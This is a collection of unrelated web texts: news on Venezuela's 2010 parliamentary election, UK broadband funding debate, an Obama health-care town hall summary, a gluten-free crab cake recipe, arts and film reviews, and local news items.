text: Venezuelans have gone to the polls in parliamentary elections that are seen as a crucial test of support for Hugo Chavez, the Venezuelan president, ahead of a presidential ballot in 2012. The focus of Sunday's election is on whether the opposition can garner more than a third of the 165 seats up for grabs, to grant them legislative power in the assembly. Results were expected late on Sunday night or early Monday morning local time, but they have been delayed, fuelling accusations from the opposition that the government is too afraid to make an announcement. The opposition has mounted a determined challenge to try to break Chavez's monopoly of power in the National Assembly for the first time in his nearly 12 year presidency. Lucia Newman, Al Jazeera's correspondent in Caracas, the Venezuelan capital, said voter turnout has been huge. "Chavez says he expects a turnout of up to 70 per cent of the 17 million people who are eligible to vote," she said. United opposition "The opposition, united for the first time, hope to be able to put a break on the socialist reforms [introduced by Chavez]. "Whatever the outcome they [the opposition] will now have an institutional voice in this country, where each side has come to see the other as the enemy," she said. Margarita Lopez Maya, an opposition candidate, told Al Jazeera she stopped supporting Chavez because he turned away from democracy. "After his re-election in 2006 he changed from a political project of participative democracy into what he calls a socialist model for the 21 century," she said. "That is more of a personality status and a totalitarian model. We are trying to build a non-polarised alternative for Venezuelans. "Polarisation is a government strategy. The middle ground tends to sway towards Chavez because they don't want to go back to the past, but they are disgusted with the totalitarian trend. Their problems are not being resolved." Chavez has had near total control since opposition parties boycotted the last legislative elections in 2005, citing concerns about possible irregularities. If Chavez's opponents manage to deny him at least a two-thirds majority this time, they would have more clout in trying to put a check on his sweeping powers. Decline in popularity Polls suggest Chavez remains the most popular politician in Venezuela, yet surveys have also shown a decline in support for him in the past two years as disenchantment has grown over problems including high levels of crime, poorly administered public services and inflation now at about 30 per cent. "We want a total change,'' Dieter Jaaniorg, a voter at a polling station in Caracas, said. He said he is fed up with crime, a bad economy and an authoritarian government. Cristian, his younger brother, said they see it as a last chance for the opposition to show it can stand up to Chavez. "If we don't win today, it's straight to communism,'' he said. Chavez is hailed by supporters as a champion of Venezuela's poor communities. But he is denounced by critics as a dictator. His popularity is in the 40-50 per cent range - well below his highs in previous years. But that is probably enough to ensure that his party retains a majority. "The opposition [is] very confident this time but they do not understand how the people feel," Carlos Cristiani, a Caracas resident, said. "Chavez has problems, that's clear, but nobody wants these other [opposition] people. They will be very disappointed." Initial results are expected about 02:30GMT on Monday. SOURCE: Al Jazeera and agencies Politics Latin America Venezuela


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What broadband gap is the government funding?
Last week's statement by new culture secretary Maria Miller, about cuts of red tape to speed up new broadband roll-outs, actually announced a return to the status quo even before the BDUK process began.
Most UK citizens are not going to get even a pedestrian "superfast" broadband despite the government spending more than £1bn* in taxpayers' money to get the fastest broadband service in Europe by 2015.
Acknowledging that "Superfast broadband is vital to secure our country's future – to kick start economic growth and create jobs", the statement went on to say, "superfast broadband means potential headline download access speeds (are) greater than 24Mbps".
In Europe the target is 30Mpbs for all, with half the population subscribed to a 100Mbps service by 2020.
This statement also ignores BT's much ballyhooed announcement that it had doubled the network frequency, bumping download speeds "up to" 80Mbps and higher.
Leave aside the weasel words "potential" and "headline" and consider this: "Our investment will help provide 90% of homes and businesses with access to superfast broadband and for everyone in the UK to have access to at least 2Mbps." What percentage of the population will receive a speed between 2 and 24Mbps?
In addition Br0kenTeleph0n3 has received reports that even 24Mbps is the top end of what BT's Infinity fibre to the cabinet service will deliver. It appears that some councils are being told to plan for the average speed delivered from an Infinity cabinet to be just 15Mbps.
Users who live close to the cabinet and have good quality copper will enjoy the top speed, but most will not.
The imminent arrival of LTE, the 4G high speed mobile broadband technology, is unlikely to help either. Theoretically capable of 300Mbps download speeds, experience in commercial LTE markets suggests that 15Mbps is the norm once a number of users are online at the same time. In fact for its LTE service Verizon in the US advertises 5-12Mbps downloads, and half that for uploads .
The government's desire to have the best i.e. fastest broadband network in Europe by 2015 looks increasingly out of reach, and consumer research by Thinkbroadband shows that nine of 10 people don't believe BDUK can deliver it.
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All the more reason for a rethink before it is too late, and to get funding to altnets like gigaclear who will deliver a futureproof solution to those who can't get a connection and provide competition so that all the telcos will up their game before the new rural networks take all their customers? Why let funding go to cabinets when we all know they can't deliver the future, all they can do is make a few in urban areas go a bit faster for a short time.
"In addition Br0kenTeleph0n3 has received reports that even 24Mbps is the top end of what BT's Infinity fibre to the cabinet service will deliver. It appears that some councils are being told to plan for the average speed delivered from an Infinity cabinet to be just 15Mbps."
Not sure about that paragraph as most of the FTTC connections near me deliver around 50-70Mbps, limited more by the ISPs capacity at peak times since we're all quite close to the cabinet. Even Ofcom's data shows that the average is well above 24Mbps. I think this might be more to do with how the gov defines "superfast", which is 24Mbps+ or 30Mbps, depending on when the project was started.
As for the 15Mbps figure, that's more likely to do with BT's fault threshold for FTTC (i.e. anything below 15Mbps is considered a fault). However FTTC also has a special 5Mbps threshold for connections that have been identified as coming from a longer line.
A great article which I have just forwarded to the Chief at Joseph Rowntree Housing Trust. Thanks to Fibre Options they get an offer of 100Mbps symmetrical because of FTTH. It's the only way to future proof your network.
'24Mbps is the top end of what BT's Infinity fibre to the cabinet service will deliver'. Please explain.
Fibre to the cabinet still relies on copper to the home, 24Mbps is achievable if you are within approx 0.6km to 1.3km of the cabinet, beyond that it drops quickly with increasing distance. Until at 3.5km it is as fast as ADSL.
Somewhere there is a graph showing distribution of line lengths which will put this into context.
Thanks, but there is some info on the distribution of customer line lengths from cabinets. Yes, some don't have cabinets…
What is an Infinity Cabinet?
Openreach is deploying FTTC and FTTP networks, which are available via virtual unbundling and WBC GEA network. Thus are being sold by big names like BT, Sky and TalkTalk. Only one of those three call it Infinity.
As for these reports? Are they believeable? Or has someone mis-interpreted the 15 Mbps assurred bandwidth figures (15 on 40, and 30 on 80).
A reason 24 keeps being used is given in http://www.thinkbroadband.com/news/5389-jeremy-hunt-announces-2015-target-to-give-uk-fastest-broadband-in-europe.html where maths gives a 24.2 Mbps average if FTTC delivers something to 90%.
Also on the 24 Mbps being the top end, I guess all those people we see posting speeds of 60 Meg, 70Meg are lying? Or have you got the wrong end of some rumour?
Yes there are going to be cabinets that have people with long D sides – and these are the ones that probably won't get enabled, and rely on alternative, i.e. be in the final 10%.
Re the telephone system, does Erlang mean anything to you?
Why is contention going to be a problem, networks are built for current and future demand and expanded as required.
I still don't understand why the speed with everyone online is of real interest. As usage increases, hopefully, ISPs, circuit providers round the world and servers etc. will increase in capacity.
Would be interesting to know why 24M is the 'top-end' Infinity speed when many can get more.
Re councils being told 15Mbps is a realistic speed, this maps into BT's commercial decision for a given cabinet – internal metrics say 80% of the lines must reach 15Mbps before BT will give the go-ahead to upgrade it to 'Infinity'.


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President Obama holds a "town hall" meeting on health care reform, sponsored by the American Association of Retired Persons (AARP). The meeting is conducted by telephone at AARP's Washington headquarters, where a small studio audience and approximately 180,000 callers from around the country listen and take part.
Rumor Control - In his introduction, AARP CEO A. Barry Rand tells the participants: "There's a lot of misinformation about health care reform—even on what AARP stands for, and what AARP supports. This town hall is part of our ongoing effort to debunk myths and provide accurate information.… I want to make it clear that AARP has not endorsed any particular bill or any of the bills being debated in Congress today. We continue to work with members of Congress on both sides of the aisle and with the administration to achieve what is right for health care reform." AARP president Jennie Chin Hansen notes some of the most prevalent myths and misinformation about health care reform as expressed in previous AARP-sponsored town halls: "Like, will the government tell my doctor how to practice medicine?" For his part, Obama says: "Nobody's trying to change what does work in the system. We are trying to change what doesn't work in the system." He reassures the participants that "Nobody is talking about cutting Medicare benefits. I just want to make that absolutely clear.… [W]e do want to eliminate some of the waste that is being paid for out of the Medicare trust fund that could be used more effectively to cover more people and strengthen the system."
Opposition Profiting from Status Quo - Of the anti-reform opposition, Obama says: "I know there are folks who will oppose any kind of reform because they profit from the way the system is right now. They'll run all sorts of ads that will make people scared.… Back when President Kennedy and then President Johnson were trying to pass Medicare, opponents claimed it was socialized medicine. When you look at the Medicare debate, it is almost exactly the same as the debate we're having right now. Everybody who was in favor of the status quo was trying to scare the American people saying that government is going to take over your health care, you won't be able to choose your own doctor, they're going to ration care.… You know what? Medicare has been extraordinarily popular. It has worked. It has made people a lot healthier, given them security. And we can do the same this time." If nothing is done to change the status quo, Obama says, the cost of health care coverage will rise dramatically. "Health care costs are going up much faster than inflation," he says, "and your premiums will probably double again over the next 10 years.… We're already seeing 14,000 people lose their health insurance every day. So the costs of doing nothing are trillions of dollars over the next couple of decades—trillions, not billions… without anybody getting any better care." Controlling health care inflation will allow the government to stabilize the Medicare trust fund: "[N]ot only can we stabilize the Medicare trust fund, not only can we help save families money on their premiums, but we can actually afford to provide coverage to the people who currently don't have health care."
End-of-Life Rumors - One caller is concerned about rumors surrounding end-of-life care. "I have been told there is a clause in there that everyone that's Medicare age will be visited and told to decide how they wish to die," she says. "This bothers me greatly, and I'd like for you to promise me that this is not in this bill." The host elaborates: "As I read the bill, it's saying that Medicare will, for the first time, cover consultation about end-of-life care, and that they will not pay for such a consultation more than once every five years. This is being read as saying every five years you'll be told how you can die." Obama replies, "Well, that would be kind of morbid," and reassures the caller that the rumors are not true, adding, "Nobody is going to be knocking on your door." He explains that one proposal would have Medicare pay for consultations between doctor and patients about living wills, hospice care, and other information critical to end-of-life decisions. "The intent here is to simply make sure that you've got more information, and that Medicare will pay for it," he says. "The problem right now is that most of us don't give direction to our family members, so when we get really badly sick… the [doctors] are making decisions in consultation with your kids or your grandkids and nobody knows what you would have preferred." Obama is refuting rumors that claim under his reform proposal, elderly Americans would be encouraged to die sooner (see July 16, 2009 and July 23, 2009).
Pre-Existing Conditions - Insurers will no longer be able to deny care to people with so-called "pre-existing conditions." Obama reflects on his mother, who died of cancer: "She had to spend weeks fighting with insurance companies while she's in the hospital bed, writing letters back and forth just to get coverage for insurance she'd already paid premiums on. And that happens all across the country. We're going to put a stop to that.… We're going to reform the insurance system so that they can't just drop you if you get too sick. They won't be able to drop you if you change jobs or lose your job.… We want clear, easy-to-understand, straightforward insurance that people can purchase."
Keeping Existing Coverage - Obama reassures another caller that she will not have to drop the coverage she has. "Here's a guarantee that I've made: If you have insurance that you like, then you'll be able to keep that insurance. If you've got a doctor that you like, you'll be able to keep your doctor. Nobody is going to say you've got to change your health care plan. This is not like Canada where suddenly we are dismantling the system and everybody's signed up under some government program. If you've already got health care, the only thing we're going to do for you is, we're going to reform the insurance companies so that they can't cheat you.… If you don't have health insurance, we're going to make it a little bit easier for you to be able to obtain health care." Those dissatisfied with their coverage, or who have no coverage at all, would have a wider array of choices, including, perhaps, a government-run plan (the "public option").
Rationing Health Care? - One caller asks, "Even if I decide when I'm 80 that I want a hip replacement, am I going to be able to get that?" Obama responds: "My interest is not in getting between you and your doctor—although keep in mind that right now insurance companies are often getting between you and your doctor. [Decisions] are being made by private insurance companies without any guidance as to whether [they] are good decisions to make people healthier or not. So we just want to provide some guidelines to Medicare, and by extension the private sector, about what [treatments] work and what doesn't.… We don't want to ration by dictating to somebody [that] we don't think this senior should get a hip replacement. We do want to provide information to [you and your doctor about what] is going to be most helpful to you in dealing with your condition." He gives the following analogy: "If you figure out a way to reduce your heating bill by insulating your windows… you're still warm inside. [But] you're not wasting all that energy and sending it in the form of higher bills to the electric or gas company. And that's then money you can use to save for your retirement or help your kid go to college. Well, it's the same principle within the health system." Obama is refuting claims by health care opponents that the government intends to ration health care and deny elderly patients needed treatment (see November 23, 2008, January 27, 2009, February 9, 2009, February 11, 2009, February 18, 2009, May 13, 2009, June 24, 2009, June 25, 2009, July 10, 2009, July 16, 2009, July 17, 2009, July 21, 2009, July 23, 2009, July 23, 2009, July 23, 2009, July 23-24, 2009, July 24, 2009, July 28, 2009, July 28, 2009, and July 28, 2009).
Reform Not 'Socialized Medicine' - Obama assures the participants that his vision of health care reform is not socialism under any guise. "A lot of people have heard this phrase 'socialized medicine,'" he says. "And they say, 'We don't want government-run health care. We don't want a Canadian-style plan.' Nobody is talking about that. We're saying, let's give you a choice." He recalls: "I got a letter from a woman the other day. She said, 'I don't want government-run health care. I don't want socialized medicine. And don't touch my Medicare.'… I wanted to say, 'That's what Medicare is. It's a government-run health care plan that people are very happy with.'"
Conclusion - Obama says he doesn't expect a perfect health care system. "But we could be doing a lot better than we're doing right now," he says. "We shouldn't have people who are working really hard every day without health care or with $8,000 deductibles—which means basically they don't have health insurance unless they get in an accident or they get really sick. That just doesn't make sense. So we've got to have the courage to be willing to change things." After the town hall ends, AARP board chair Bonnie Cramer says she believes Obama "really made it very clear that Medicare beneficiaries will not see cuts in Medicare services." By speaking directly to older Americans, Cramer says, "He put to rest a lot of their concerns." (Beam 7/28/2009; AARP Bulletin Today 7/29/2009; McKnights 7/29/2009)
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Celiac.com 02/25/2014 - Winter is crab season on the west coast. I'm a crab cake lover from way back, but they nearly always contain wheat flour, so I generally avoid them since going gluten-free.
This simple gluten-free version combines fresh crab with ginger, lime and a dash of hot sauce to deliver a light, flavorful crab cake.
- 8 ounces fresh lump crab meat, cleaned and free of any shell pieces
- 4 small whole scallions, minced
- 2 tablespoons cilantro, minced
- 1 teaspoon freshly grated ginger root
- 1 teaspoon finely grated lime zest
- 1 teaspoon lime juice
- ½ to 1 teaspoon sriracha, or any hot sauce of choice, to taste
- 2 tablespoons mayonnaise
- 2 tablespoons of crushed Rice Chex for crab mixture
- ¾ cup of crushed Rice Chex for breading
- ½ cup tapioca flour
- 1 egg, beaten
- 2 tablespoons olive oil
- 1½ tablespoons butter
- Lime wedges for garnish
In a medium bowl, combine the scallions, cilantro, ginger, lime zest, lime juice, and mayonnaise.
Stir in the crab meat and the Chex to combine. Cover with plastic wrap and chill for 1 to 2 hours.
Using clean hands, roll the crab mix into 1-inch balls.
Set out three bowls. Put tapioca flour in one bowl, the beaten egg in the second, and the crushed Rice Chex in the last bowl.
For each crab ball, roll first in tapioca, then dip in beaten egg, then coat thoroughly with crushed Rice Chex, and transfer to a plate.
Heat the oil in a large, heavy-bottomed sauté pan on medium high heat. Whisk in the butter.
Once the butter foams up and melts, place the Chex-coated crab balls into the pan and press down gently with a wooden spatula.
It is important to keep the oil hot, so do not crowd the pan. Cook the cakes in small batches as needed.
Cook each cake one to two minutes, until underside is golden brown, then gently turn the crab cakes over and cook until golden brown on the other side.
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Humanity First Responding to Nepal Earthquake
On Saturday, April 25, 2015, Kathmandu, the capital of Nepal and areas around it were hit by a devastating earthquake of magnitude 7.8. The death toll exceeds 2200 so far and several thousand people are reported injured. Rescue workers are working tirelessly to dig out any survivors buried under the rubble of collapsed buildings.
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Humanity First International Disaster Response Team of 12 specialists will reach Nepal on April 28, 2015 and a number of Humanity First volunteers from India, which borders Nepal, are also being deployed. As soon as our teams reach the disaster zone they will start providing lifesaving medical and non-medical relief.
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Humanity First is registered in 43 countries across 6 continents, and has been working on human development projects and responding to disasters since 1994. These have included the earthquakes in Turkey, Pakistan, Japan and Iran, floods in Africa and Latin America, hurricanes (Katrina and Rita) , tornado's (Kansas) and wild fires (California) in the USA, Indonesia and Bangladesh, and conflicts in Eastern Europe.
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At this popular workshop, facilitator Veronika Weisweiller outlined the importance of mentoring and coaching in today's business environment.
The last few years have seen a significant increase in the importance of both mentoring and coaching as business support activities that can be beneficial not only for individuals but also for organisations. Though sharing some common principles and processes, the two disciplines are used to achieve different objectives and are based on different types of relationships between the people involved.
At the workshop Veronika explained how the origins of mentoring go back to Homer's Odyssey and rely more on building a long term rapport based on trust than on sharing technical skills. It is usually used to help individuals achieve professional growth and increased levels of confidence. As a result a consultant´s client or an organisation as a whole benefits from more self-realised and fulfilled professionals.
On the other hand, coaching is more task-oriented and is very often aimed at developing specific skills and responsibilities.
Veronika looked at how the two disciplines individually or combined can help organisations grow by supporting their employees and developing their skills while giving them the opportunity to achieve their goals and progress in their career. Regardless of the specific reasons for using either coaching or mentoring or both, the goal for organisations should be to develop a more skilled and satisfied workforce and to create a working environment based on knowledge sharing and professional support. In the longer term, this will result in increased employee retention, higher levels of individual empowerment and improved performance
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Paul Mason on Post-Capitalism and "A Guide to Our Future"
A new way of living is in the process of formation. Capitalism as we know it has reached the limits of its ability to adapt. A networked Alternative is already in the works- You can see it in the cooperative businesses on the rise and the tough time traditional parties are having keeping old hierarchies in place. There's no more exciting or important story to report on – says Paul Mason economics editor at Channel Four News in the UK. Paul joined us often from the frontlines of the anti-austerity rebellions in Europe and the Middle East after the financial crash of 2008. Now he's out with a new book: Postcapitalism: A Guide to Our Future.


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When the idea of performing all nine Beethoven symphonies in Salzburg arose, he briefly hesitated, says Teodor Currentzis. "Each of the symphonies is its very own world. It is not a series; every symphony has its own identity, its own sound. It is difficult to switch from one to the other in one evening," the conductor explains. It was Artistic Director Markus Hinterhäuser's idea to perform an entire cycle. And since his trust in the Artistic Director is considerable, he agreed to undertake the journey.
"Extreme tempi," "super-fast" – thus the judgment of many reviewers. The horn player Christian Binde, who shares the stage with Currentzis and moderates the Terrace Talk, defends these tempi – as Beethoven's own. "As a matter of fact, these markings can be found in the score, so we are going back to the source and origins," he says. The problem, Teodor Currentzis adds, is that we all view the works with historical knowledge. He cites the example of Notre Dame in Paris: "Before the restoration, its stones were covered with patina, almost black, and one had a certain image of this masterwork. – To be honest, I no longer liked the church after it had been restored! At the first moment, I felt that a masterpiece had been destroyed here." Yet all that had really been destroyed was the image we had learned to accept over centuries. People, he explains, usually like things the way they know them. Therefore, he suggests taking the time to get back in touch with the original, and being tolerant towards the original aesthetic.
Christian Binde even describes the conductor – who is often called a "classical rebel" – as "super-conservative", for in addition to the original tempi, he uses historical instruments. That is another way of getting rid of patina, Teodor Currentzis says. To him, authenticity means knowing history, yet using one's own instinct. He adds that he often asks himself what the composer's intention for any given piece was – and to learn to esteem its unknown elements.
Christian Binde then asks about the sense of irritation his conducting style often produces. "It is never my intention to provoke. Yet some people find what I do extreme. – I think that is a question of psychology," he answers. "My goal is not for people to attend a concert, to find it pretty and then be unable to remember it the very next day," the conductor says. He tries to open doors, and considers concerts an attempt to find the right key to these doors. He wants to delve into the work and explore the limitations of human possibility with his conducting. He also expects his musicians to go to the very limits of their abilities – anything else is merely decorative art. "I am deeply convinced that the role of the musician is to pose ever-new questions to the audience," Teodor Currentzis says. He dismisses an attitude which likes some kinds of music, but not others. Rather, the real question is: why do I dislike this music, but like this other kind? That question has nothing to do with Teodor Currentzis, he adds; it is an individual issue for each listener.
He explains that the music of each individual Beethoven symphony is entirely engrossing, which makes it difficult to play two of them in one concert evening. On the other hand, however, the concept allows musicians and listeners to discover unexpected parallels, musical ideas which Beethoven sketched in his first symphonies and ultimately drove home in his last ones. Today, Sunday [19th], the Second and Fifth Symphonies are performed, followed by the Sixth and Fourth Symphonies on 22 August and the Eighth and Seventh Symphonies on 23 August. Teodor Currentzis conducts his orchestra musicAeterna of Perm Opera.


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Check out this first one:
Your editorial on the Chilcot inquiry (23 November) is judicious and balanced, but surely your implicit criticism of Sir Lawrence Freedman (which others have expressed explicitly) is questionable.
It is reliably reported that Tony Blair's speech on liberal interventionism in Chicago in 1999 was heavily dependent on a memo written by Professor Freedman. However, Blair's justification for the Iraq war was always based on weapons of mass destruction, and though humanitarian intervention was used by him to seek to bolster his position, the declared policy of the government remained that it would not justify war if WMD was resolved. Furthermore, it is far from clear that Iraq would have satisfied all or indeed any of the five criteria for intervention set out in Chicago.
There appears to be no evidence that Freedman has ever expressed support for the Iraq invasion on humanitarian or any other grounds, and it might be fairer to trust that he would bring the same objectivity to the inquiry that he has displayed throughout a career as an eminent military historian and strategic thinker.
Malcolm Savidge
Curious character this Malcolm Savidge. He's a former MP who was strongly against the Iraq war but also against any inquiry into it.
Now see the next letter:
Your leader raises the acute question as to whether two of the committee members ought to disqualify themselves. Sir Lawrence Freedman was not only a key policy adviser to Tony Blair in the run-up to the Iraq war but during the invasion wrote "the US – and also Britain – will emerge from this conflict hardened in their power and ready to exercise far greater influence over not only the development of Iraq but also the wider Middle East". And Sir Martin Gilbert expressed the view that Bush and Blair "may well, with the passage of time and the opening of the archives, join the ranks of Roosevelt and Churchill". It is a fundamental principle of inquisitorial fairness that no person should adjudicate if there is a real likelihood of bias. Lord Denning put it thus in a case in 1969: "Justice must be rooted in confidence and confidence is destroyed when right-minded people go away thinking 'the judge was biased'."
Benedict Birnberg
Hmm, Freedman doesn't seem to have been as aloof from the decision to invade Iraq as Mr Savidge seems to think.
The third letter damns the whole panel:
Two establishment historians (Sir Lawrence Freedman and Sir Martin Gilbert), a "former Whitehall mandarin" who spent years at the Northern Ireland office (Sir John Chilcot), a former ambassador to Russia (Sir Roderic Lyne), a former first civil service commissioner (Lady Prashar), and a career civil servant with 25 years' experience who is now director general of the foreign and defence policy secretariat at the Cabinet Office (Margaret Aldred). But no room for a judge, a lawyer or a known critic of the war. (Back to Baghdad: how – and why – did Britain go to war?, 24 November). Thankfully, Sir John Chilcot has given us an assurance that his committee "will not shy away ... from making criticisms of individuals or systems – where that is warranted". But then he would say that, wouldn't he?
Martin Smith
There are three more, the last of which even supports the war in spite of all that we now know. But if the second and third are correct then this inquiry is going to be as much a whitewash as the Hutton inquiry was.


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Epilepsy study at OHSU
Jason had his first seizure, seemingly out of nowhere, when he was 43. He continued to have big seizures 1-2 times per year and mini-seizures often, for the last four years (he's almost 47 now). Prescriptions have not controlled them and diagnostic tests have provided no insight.
This week, he did a five day inpatient stay at the OHSU epilepsy research unit and had his medications cut severely while under EEG and video surveillance.
He ended up having five seizure events, in various levels of severity, and it was confirmed the problem is coming from the left temporal lobe. He was sent home with higher doses of meds and, if his mini seizures don't subside, they'll discuss a different prescription and/or a neuropacer (scary!).
Jason also recently got a diagnosis of Meniere's disease and has to cut down salt severely. I hope that's it for a while!
Playing a game of Headbandz, to fill some of the time.
The kids and I had a fun dinner at Le Bistro Montage, just a couple exits down from the hospital. We hadn't been in a long time and the food is still great and they love the leftovers wrapped in aluminum animal shapes.
His itchy head is so happy to be unwrapped and he is going home!


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Sunday's episode was my favorite yet. And if you haven't seen it yet, let me warn you: watch with a box of tissues close by.
In this episode we are treated to a guest appearance by the incredible CCH Pounder. She plays a grieving mother from the US who, though she officially loses her son, ends up gaining more than she ever could imagine. The interaction between her character and the Botswanans reveals what we Americans do "best" when traveling the world: being American. She is (at first) dressed inappropriately, naive about hospitality despite poverty, awkward in acknowledging her connection to the Africans, and—most relevant to my previous discussion—hell-bent on vengeance. But through exploring her son's "African heart" she discovers African hearts of her own.
The other huge payoff with this episode is the further development of the relationship between Precious and Grace. Again, I try to write these without giving away too much of the plot so I will not say too much here. Suffice it to say that another sisterhood is here forged. And that Anika Noni Rose has got to be one of the most undervalued actors in the business. In this post from That Black Girl Site Corynne says:
Rose, however, layers in much more complex attributes giving her vulnerability, a big heart, and a strong head for business. In most of the episodes that have aired thus far, Rose is the source of comic relief. She doesn't need to say it word it is imbued in the way she moves as well as when stares thoughtfully and blinks her eyes. But Rose gave us even more this week when she also showed that she can turn in both a comedic and a heartbreaking performance in the same show. Her confession to Precious Ramotswe had me (and I suspect a bunch of you) in tears.
Hopefully this episode will quiet somewhat the concerns of some observers who wanted from this series more of a focus on the impact of HIV/AIDS on the continent. This issue is dealt with here in a manner that is serious without being heavy-handed. Over in "real life," Botswana's response to the AIDS crisis is seen as one of the more successful models on the continent:
Botswana's national treatment programme is now seen as a successful model for other African countries to follow. Though progress was initially slower than expected, the programme made rapid progress in 2004 and 2005, and patient responses have been comparable to those seen in Europe and the USA.
MASA [the national antiretroviral therapy program; the Setswana world for "dawn"] has demonstrated that antiretroviral treatment can be provided on a national scale through the public health system of a sub-Saharan African country – not just through localised projects run by foreign aid workers or researchers. In Botswana's case, almost all of the actual cost of treatment has been paid by the Government, while other partners have given support by providing laboratory equipment, staff training or patient monitoring services.
…But the struggle to provide universal treatment in Botswana is far from over. All of those already enrolled must continue to receive drugs and monitoring services for the rest of their lives, and people who develop resistance to their current medications must have access to alternatives, which can be more expensive and complex than first-line therapy.
It is much easier to provide treatment in towns than in rural areas, and MASA will need to be further decentralised to ensure that all areas are covered. The shortage of skilled staff will continue to be a great challenge to MASA, and the programme will continue to be very expensive. The need for help from the rest of the world is as urgent as ever.
…Botswana's long-term vision is to have no new HIV infections by 2016, when the nation will celebrate 50 years of independence. (Emphasis added; Source)
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Should you quit smoking? Hit the gym? Eat more fruits and veggies? Abstain from alcohol?
They all sound like good ideas. But when it comes to healthy living, which one will give you the most bang for your buck when it comes to a longer life?
That is the question that researchers at the University of Zurich recently asked. For their study, the researchers studied 16,721 people, ages 16 to 90 from 1977 to 1993 with their corresponding deaths up until 2003. They were trying to figure out exactly which components of a healthy lifestyle could be attributed to a longer life.
Here's what they found:
Smokers have a 57 percent chance of dying prematurely. And people who engage in all four risky behaviors -- smoking, drinking, avoiding exercise, and eating an unhealthy diet -- have a mortality risk that's two and a half times higher than someone who refrains from bad health habits.
In a university press release, the study's author, Brian Martin, M.D., a professor at the Institute of Social and Preventive Medicine at the University of Zurich remarked about how surprised they were that the combination of risk factors increased the mortality rate to such a degree. For example, a 75-year-old man who engages in all four risk factors is only 35 percent likely to live another ten years. But if he avoids those behaviors, he increases his odds of surviving another decade by 67 percent.
If you look at the diagram to the right, you can see that for a woman, the likelihood is 47 and 74 percent respectively.
Want to live a longer life? Pur down that cigarette, put down that beer, and go take a walk. Oh, and you might want to eat an apple on the way.
Related posts on MNN:
- 123-year-old owes incredible longevity to ancient Andean diet
- 10 animals with the longest life spans
- How telomeres can predict life span


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Purce tallied 26 points during her freshman campaign (photo courtesy Gil Talbot).
CAMBRIDGE, Mass. – Freshman Margaret "Midge" Purce of the Harvard women's soccer team has been tabbed to the 2013 NSCAA/Continental Tire Women's All-America third team the National Soccer Coaches Association of America announced Friday morning. For a complete listing of the 2013 NSCAA/Continental Tire Women's All-America Team, click here.
Purce, a native of Olney, Md., became the first rookie in Ivy League history to be named Player of the Year and the first Crimson player to be bestowed the honor since Melanie Baskind '12 did so in 2011. The Ivy League Rookie of the Year became the first Harvard student-athlete to earn the accolade since Baskin accomplished the honor in 2008.
The first freshman to be named a unanimous All-Ivy first team since Katherine Sheeleigh '10 in 2007, Purce tied for first in the league in points (26) and goals (11) to lead the Crimson's offense and tie for ninth-best all-time in Harvard history. With her 26 points, she becomes the first freshman since Naomi Miller '99 in 1995 to record that number.
A two-time Ivy Rookie of the Week, the forward started 16 games to help the Crimson to its 11th Ancient Eight crown, the first for Harvard since 2011 and its first 7-0-0 Ivy campaign since 1999 and third overall. Purce contributed to the Crimson's 12 victories, the most for the team since 2011, and aided Harvard to its 14th NCAA tournament appearance in program history.


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Tonight's Movie: The Beginning or the End (1947) - A Warner Archive DVD Review
2012 thanks to Turner Classic Movies. I've found it interesting that in the ensuing years I have received numerous emails from professors and students wanting to know how to obtain this MGM film on the creation of the atomic bomb.
Happily this movie is now easily available to both academics and a wider audience thanks to the Warner Archive. The movie was recently released as part of a "wave" of films directed by Norman Taurog.
I've previously reviewed Taurog's LUCKY NIGHT (1939) and PLEASE BELIEVE ME (1950); still ahead in my review stack is the fourth and final film of the batch, William Powell in THE HOODLUM SAINT (1946).
THE BEGINNING OR THE END, the story of the Manhattan Project, was released early in 1947. Though it's a fictionalized telling, one of the most interesting aspects for me was simply seeing how the story was depicted, roughly 18 months after the dropping of the atomic bombs. The film mixes facts with plenty of conjecture about what the atomic bomb would ultimately mean for the world, hence the movie's title.
It's an engrossing film with a large cast of excellent actors. Brian Donlevy plays Maj. Gen. Leslie Groves, in charge of the top secret multi-state project involving scientists from the United States, Canada, and England. Hume Cronyn plays Robert Oppenheimer, with additional scientists portrayed by character greats including Richard Haydn, Joseph Calleia, Norman Lloyd, Moroni Olsen, Hurd Hatfield, and Frank Ferguson.
The cast also includes Robert Walker and Audrey Totter as Groves's aide and secretary; I enjoyed their bantering relationship, which provides some needed lightness against the seriousness of the story.
Tom Drake plays a young scientist working on the project, with Beverly Tyler as his bride. As much as I enjoy Drake and Tyler, I feel that their personal story is extraneous and I believe the film would have been better served with greater focus on the story of the bomb, which has plenty of drama in and of itself.
I particularly would have liked to see more of Donlevy's Groves, who ran an incredibly complex mission. Donlevy doesn't enter the film until roughly 38 minutes in, and his presence raises the film's energy level considerably. His performance is my favorite among the large cast.
The film has a somewhat odd opening, a "newsreel" in which some of the movie's lead characters put a copy of the film in a time capsule. I never quite understood how that worked!
This 112-minute movie then traces the creation of the atomic bomb, including documentary footage of the construction of the secret facilities at Los Alamos and Oak Ridge, up through the flight of the Enola Gay. Art Baker plays President Truman in a scene where the President explains his reasons for dropping the bomb.
Barry Nelson plays Col. Paul Tibbets Jr., the pilot of the Enola Gay, with Henry O'Neill playing General Farrell, the man in charge of the mission. I found a candlelit prayer scene before the flight particularly moving.
It's worth noting here that the flight of the Enola Gay is covered more extensively in MGM's fine ABOVE AND BEYOND (1952), also available from the Warner Archive.
A side note with some fun trivia: Pay attention to the scene where Donlevy and Walker first meet up in a hallway. The hall behind them is actually a fake backdrop, also seen MGM's THE HUCKSTERS (1947); half a decade later, Donald O'Connor would dance up that very same backdrop in "Make 'Em Laugh" in SINGIN' IN THE RAIN (1952).
THE BEGINNING OR THE END was photographed in black and white by Ray June. The story and screenplay were by Robert Considine and Frank Wead. The supporting cast includes John Litel, Jonathan Hale, Nella Walker, Victor Francen, Ludwig Stossel, and Warner Anderson.
The Warner Archive disc includes the trailer.
Thanks to the Warner Archive for providing a review copy of this DVD. Warner Archive releases are MOD (manufactured on demand) and may be ordered from the Warner Archive Collection at the WBShop.


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SOLIHULL'S Council Tax payers could be facing an inflation-busting 4.73 per cent increase in their bills.
This is the rise being recommended by officers and which will go before cabinet members next week. Householders living in Band D properties will have to stump up an extra £1 a week.
Last year's increase was agreed at 4.5 per cent, while the rate of inflation currently stands at 3.1 per cent.
The rise will come as bad news for pensioners, many of whom live on interest from savings and investments and have seen their income plummet in the current financial crisis.
Single pensioners, who have to pay up three-quarters of their council tax bill, are likely to be the hardest hit.
Solihull Council continues to suffer from meagre Government grants and receives the lowest settlement of all the metropolitan councils. In January the council found out that the increase in this year's settlement would be a paltry 1.75 per cent.
